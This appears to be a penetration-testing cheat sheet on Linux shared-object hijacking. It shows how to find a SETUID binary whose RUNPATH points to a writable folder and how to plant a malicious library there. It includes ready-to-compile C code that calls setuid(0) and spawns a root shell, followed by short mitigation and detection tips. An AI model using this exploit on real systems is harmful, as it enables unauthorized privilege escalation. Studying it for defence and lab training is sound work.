shared-object-hijacking

Shared objects hijacking

Binary and program under development usually have custom libraries (SUID)

Get the program shared object

ldd payroll

It is possible to load share object libraries from custom locations. One such setting is RUNPATH configuration. Libraries in this folder are given preferences over other folder.

Identify custom libraries & preferences

readelf -d payroll | grep PATH

The folder is writable where the libraries are loaded. This misconfiguration can be exploited via placing malicious library in /lib_folder.

Folder permission check

ls -la /folder

Firstly, we need to find the function called by the binary

ldd payroll

cp /lib/x86_64-linux-gnu/libc.so.6 /development/libshared.so

./payroll

If we are getting error like "symbol lookup error", so it vulnerable. Put the library back to its location.

Compile a library: src.c

#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>

void dbquery() {
	printf("Malicious library loaded\n");
	setuid(0);
	system("/bin/sh -p");
}

gcc src.c -fPIC -shared -o /<folder>/libshared.so

Exploit

./payroll

---

---

---

Check SETUID Binary Permissions

ls -la <binary_name>

List Shared Object Dependencies

ldd <binary_name>

Check RUNPATH

readelf -d <binary_name> | grep PATH

List Directory Permissions

ls -la <vulnerable_directory>

Copy Existing Library (to Identify Missing Symbol)

cp /lib/x86_64-linux-gnu/libc.so.6 <vulnerable_directory>/<library_name>.so

Run Binary (to Get Symbol Lookup Error)

./<binary_name>

Create Malicious Shared Object (src.c)

cat > src.c << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void <missing_symbol>() {
    printf("Malicious library loaded\n");
    setuid(0);
    system("/bin/sh -p");
}
EOF

Compile Malicious Shared Object

gcc src.c -fPIC -shared -o <vulnerable_directory>/<library_name>.so

Run Vulnerable Binary

./<binary_name>

Verify Root Access

id
whoami

Key Concepts:

• Shared Objects (.so):

  • Dynamically linked libraries.

• ldd:

  • Displays shared object dependencies.

• RUNPATH:

  • Specifies directories to search for shared objects.

  • Takes precedence over other search paths.

• Hijacking:

  • Replacing a legitimate shared object with a malicious one.

• SETUID Binaries:

  • Binaries that run with the privileges of their owner.

Exploitation Steps (as described):

1. Identify Vulnerable Binary:

   • Find a SETUID binary.

   • Use ldd to identify custom shared object dependencies.

2. Check RUNPATH:

   • readelf -d <binary> | grep PATH

   • Verify if RUNPATH points to a writable directory.

3. Identify Function Name:

   • Attempt to run the binary, and observe any symbol lookup errors.

   • Copy a legitimate .so to the vulnerable directory, and run the binary to get the missing symbol.

4. Create Malicious Shared Object:

   • Write C code containing the required function.

   • Include code to execute a shell as root.

5. Compile Malicious Library:

   • gcc <source_file>.c -fPIC -shared -o <vulnerable_directory>/<library_name>.so

6. Run Vulnerable Binary:

   • The malicious library will be loaded, and the root shell will be spawned.

7. Verify Root Access:

   • id

Important Considerations and Enhancements:

• RUNPATH vs. RPATH:

  • RUNPATH is preferred over RPATH for shared libraries.

  • RPATH can cause issues when distributing applications.

• Security Implications:

  • This is a significant security risk.

  • Writable RUNPATH directories should be avoided.

• Mitigation:

  • Avoid writable RUNPATH directories.

  • Use secure file permissions.

  • Regularly audit binaries and shared object dependencies.

  • Compile binaries with hardened flags.

• Detection:

  • Monitor for unexpected shared object modifications.

  • Use file integrity monitoring tools.

  • Audit RUNPATH configurations.

• Real world examples: Researching real world shared object hijacking exploits will help solidify understanding of the attack vectors.

• Symbol Interposition: This technique is a form of symbol interposition.